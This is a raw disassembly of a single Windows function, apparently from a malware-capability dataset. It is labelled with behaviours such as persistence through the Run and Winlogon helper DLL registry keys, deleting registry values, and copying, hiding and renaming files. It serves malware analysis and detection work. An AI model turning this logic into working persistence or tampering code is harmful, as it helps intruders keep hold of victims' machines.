Function at 0x4033b0
Capabilities:
Check if file exists
Copy file
Delete registry value
Get file attributes
Move file
Persist via run registry key
Persist via winlogon helper dll registry key
Resolve function by parsing pe exports
Set file attributes

Disassembly:
sub esp, 0x644
push ebx
push ebp
push esi
push edi
mov ecx, 0xb
mov esi, 0x40c3ac
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.DLL_CopyFileA]
movsw word es:[edi], word [esi]
mov ecx, 0xe
mov esi, 0x40c370
lea edi, [esp + 0x104]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xf
mov esi, 0x40c334
lea edi, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x18], 0x410710
mov dword [esp + 0x1c], 0x410e18
mov dword [esp + 0x20], 0x411940
mov dword [esp + 0x24], 0x412220
mov dword [esp + 0x28], 0x411418
mov dword [esp + 0x2c], 0x412648
mov dword [esp + 0x30], 0x411838
xor edi, edi
lea ecx, [ecx]
mov esi, dword [esp + edi*4 + 0x18]
push 0x80
push esi
call ebx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push esi
push 0x412118
call ebp
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, 2
je 0x403470
push 7
push esi
call ebx
inc edi
cmp edi, 7
jl 0x403440
mov esi, 0x40c330
mov edx, 0x412220
xor eax, eax
mov cl, 0x22
jmp 0x403490
mov byte [esp + eax + 0x44c], cl
mov cl, byte [eax + 0x40c331]
inc eax
test cl, cl
jne 0x403490
mov cl, byte [0x412220]
test cl, cl
je 0x4034bf
lea esp, [esp]
inc edx
mov byte [esp + eax + 0x44c], cl
mov cl, byte [edx]
inc eax
test cl, cl
jne 0x4034b0
mov cl, 0x22
inc esi
mov byte [esp + eax + 0x44c], cl
mov cl, byte [esi]
inc eax
test cl, cl
jne 0x4034c1
mov byte [esp + eax + 0x44c], cl
mov esi, 0x40c330
mov edx, 0x410e18
xor eax, eax
mov cl, 0x22
jmp 0x4034f0
mov byte [esp + eax + 0x244], cl
mov cl, byte [eax + 0x40c331]
inc eax
test cl, cl
jne 0x4034f0
mov cl, byte [0x410e18]
test cl, cl
je 0x40351f
lea esp, [esp]
inc edx
mov byte [esp + eax + 0x244], cl
mov cl, byte [edx]
inc eax
test cl, cl
jne 0x403510
mov cl, 0x22
inc esi
mov byte [esp + eax + 0x244], cl
mov cl, byte [esi]
inc eax
test cl, cl
jne 0x403521
mov byte [esp + eax + 0x244], cl
mov esi, 0x40c330
mov edx, 0x412648
xor eax, eax
mov cl, 0x22
jmp 0x403550
mov byte [esp + eax + 0x348], cl
mov cl, byte [eax + 0x40c331]
inc eax
test cl, cl
jne 0x403550
mov cl, byte [0x412648]
test cl, cl
je 0x40357f
lea esp, [esp]
inc edx
mov byte [esp + eax + 0x348], cl
mov cl, byte [edx]
inc eax
test cl, cl
jne 0x403570
mov cl, 0x22
inc esi
mov byte [esp + eax + 0x348], cl
mov cl, byte [esi]
inc eax
test cl, cl
jne 0x403581
mov byte [esp + eax + 0x348], cl
mov esi, 0x40c330
mov edx, 0x411838
xor eax, eax
mov cl, 0x22
jmp 0x4035b0
mov byte [esp + eax + 0x140], cl
mov cl, byte [eax + 0x40c331]
inc eax
test cl, cl
jne 0x4035b0
mov cl, byte [0x411838]
test cl, cl
je 0x4035df
lea esp, [esp]
inc edx
mov byte [esp + eax + 0x140], cl
mov cl, byte [edx]
inc eax
test cl, cl
jne 0x4035d0
mov cl, 0x22
inc esi
mov byte [esp + eax + 0x140], cl
mov cl, byte [esi]
inc eax
test cl, cl
jne 0x4035e1
push 0x64
mov byte [esp + eax + 0x144], cl
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0x410710
call esi
cmp eax, 0xffffffff
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x4037f0
lea eax, [esp + 0x44c]
push eax
push 0x411130
lea ecx, [esp + 0xa0]
push ecx
push closesocket
call fcn.00401120
push 0
push 0x40c328
lea edx, [esp + 0xe0]
push edx
push closesocket
call fcn.004011c0
push 1
push 0x40c31c
lea eax, [esp + 0xf0]
push eax
push closesocket
call fcn.004011c0
push 0
push 0x40c30c
lea ecx, [esp + 0x100]
push ecx
push closesocket
call fcn.004011c0
add esp, 0x40
push 1
push 0x40c2f4
lea edx, [esp + 0x10c]
push edx
push closesocket
call fcn.004011c0
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x9c]
push ecx
push closesocket
call edi
test eax, eax
jne 0x4036db
mov edx, dword [esp + 0x10]
push 0x411dc8
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x9c]
push edx
push closesocket
call edi
test eax, eax
jne 0x403706
mov eax, dword [esp + 0x10]
push 0x40c2e4
push eax
call ebp
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x9c]
push eax
push closesocket
call edi
test eax, eax
jne 0x403731
mov ecx, dword [esp + 0x10]
push 0x410a30
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x10]
push eax
push 0x40c2a8
push closesocket
call edi
test eax, eax
jne 0x403759
mov ecx, dword [esp + 0x10]
push 0x40c298
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x10]
push eax
push 0x40c26c
push closesocket
call edi
test eax, eax
jne 0x403781
mov ecx, dword [esp + 0x10]
push 0x40c260
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x140]
push eax
push 0x411130
push 0x40c220
push closesocket
call fcn.00401120
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 0x40c220
push closesocket
call edi
test eax, eax
jne 0x4037c8
mov edx, dword [esp + 0x10]
push 0x411dc8
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebx
lea ecx, [esp + 0x10]
push ecx
push 0x40c220
push closesocket
call edi
test eax, eax
jne 0x4037f0
mov edx, dword [esp + 0x10]
push 0x40c218
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebx
push 0x410e18
call esi
cmp eax, 0xffffffff
je 0x40392e
lea ecx, [esp + 0x244]
push ecx
push 0x410ca8
lea edx, [esp + 0xa0]
push edx
push closesocket
call fcn.00401120
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x9c]
push ecx
push closesocket
call edi
test eax, eax
jne 0x40384d
mov edx, dword [esp + 0x10]
push 0x411ea0
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebx
push 0x410f20
push 0x40c210
push 0x40c1d8
push closesocket
call fcn.00401120
lea ecx, [esp + 0x358]
push ecx
push 0x410ca8
push 0x40c220
push closesocket
call fcn.00401120
push 0x411628
push 0x40c1cc
push 0x40c1d8
push closesocket
call fcn.00401120
add esp, 0x30
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x9c]
push eax
push closesocket
call edi
test eax, eax
jne 0x4038c9
mov ecx, dword [esp + 0x10]
push 0x40c1bc
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x10]
push eax
push 0x40c220
push closesocket
call edi
test eax, eax
jne 0x4038f1
mov ecx, dword [esp + 0x10]
push 0x411ea0
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
push 0x410390
call fcn.004086d0
add esp, 4
cmp eax, 0x17
jne 0x40392e
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x9c]
push ecx
push closesocket
call edi
test eax, eax
jne 0x40392e
mov edx, dword [esp + 0x10]
push 0x410390
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebx
push 0x411940
call esi
cmp eax, 0xffffffff
je 0x403956
push 0x410498
push 0x40c1ac
push 0x40c180
push closesocket
call fcn.00401120
add esp, 0x10
mov dword [esp + 0x34], 0x40c178
mov dword [esp + 0x38], 0x40c16c
mov dword [esp + 0x3c], 0x40c15c
mov dword [esp + 0x40], 0x40c154
mov dword [esp + 0x44], 0x40c14c
mov dword [esp + 0x48], 0x40c148
mov dword [esp + 0x4c], 0x40c140
mov dword [esp + 0x50], 0x40c130
mov dword [esp + 0x54], 0x40c124
mov dword [esp + 0x58], 0x40c11c
mov dword [esp + 0x5c], 0x40c110
mov dword [esp + 0x60], 0x40c104
mov dword [esp + 0x64], 0x40c0f8
mov dword [esp + 0x68], 0x40c0f0
mov dword [esp + 0x6c], 0x40c0e8
mov dword [esp + 0x70], 0x40c0e0
mov dword [esp + 0x74], 0x40c0c8
mov dword [esp + 0x78], 0x40c0c0
mov dword [esp + 0x7c], 0x40c0b8
mov dword [esp + 0x80], 0x40c0a8
mov dword [esp + 0x84], 0x40c098
xor esi, esi
jmp 0x403a10
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x9c]
push edx
push closesocket
call edi
test eax, eax
jne 0x403a3b
mov eax, dword [esp + esi*4 + 0x34]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x9c]
push ecx
push closesocket
call edi
test eax, eax
jne 0x403a66
mov edx, dword [esp + esi*4 + 0x34]
mov eax, dword [esp + 0x14]
push edx
push eax
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call ebx
inc esi
cmp esi, 0x15
jl 0x403a10
push 0x412438
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403b6a
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx esi, word [esp + 0x1e]
movzx eax, word [esp + 0x22]
movzx edx, word [esp + 0x20]
movzx ecx, word [esp + 0x24]
mov dword [0x411410], esi
movzx esi, word [esp + 0x18]
mov dword [0x41038c], esi
movzx esi, word [esp + 0x1c]
mov dword [0x411024], eax
imul eax, edx
mov dword [0x412ffc], esi
movzx esi, word [esp + 0x1a]
mov dword [0x41253c], esi
push 0xa
lea esi, [esp + 0x38]
add eax, ecx
push esi
push eax
mov dword [0x410814], ecx
mov dword [0x412328], edx
call fcn.0040a738
mov cl, byte [0x412438]
add esp, 0xc
xor eax, eax
test cl, cl
mov edx, 0x40c094
je 0x403b12
lea ecx, [ecx]
mov byte [esp + eax + 0x550], cl
mov cl, byte [eax + 0x412439]
inc eax
test cl, cl
jne 0x403b00
mov cl, 0x2e
inc edx
mov byte [esp + eax + 0x550], cl
mov cl, byte [edx]
inc eax
test cl, cl
jne 0x403b14
mov cl, byte [esp + 0x34]
test cl, cl
je 0x403b3f
jmp 0x403b30
inc esi
mov byte [esp + eax + 0x550], cl
mov cl, byte [esi]
inc eax
test cl, cl
jne 0x403b30
push 0x80
push 0x412438
mov byte [esp + eax + 0x558], 0
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [esp + 0x550]
push eax
push 0x412438
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x644
ret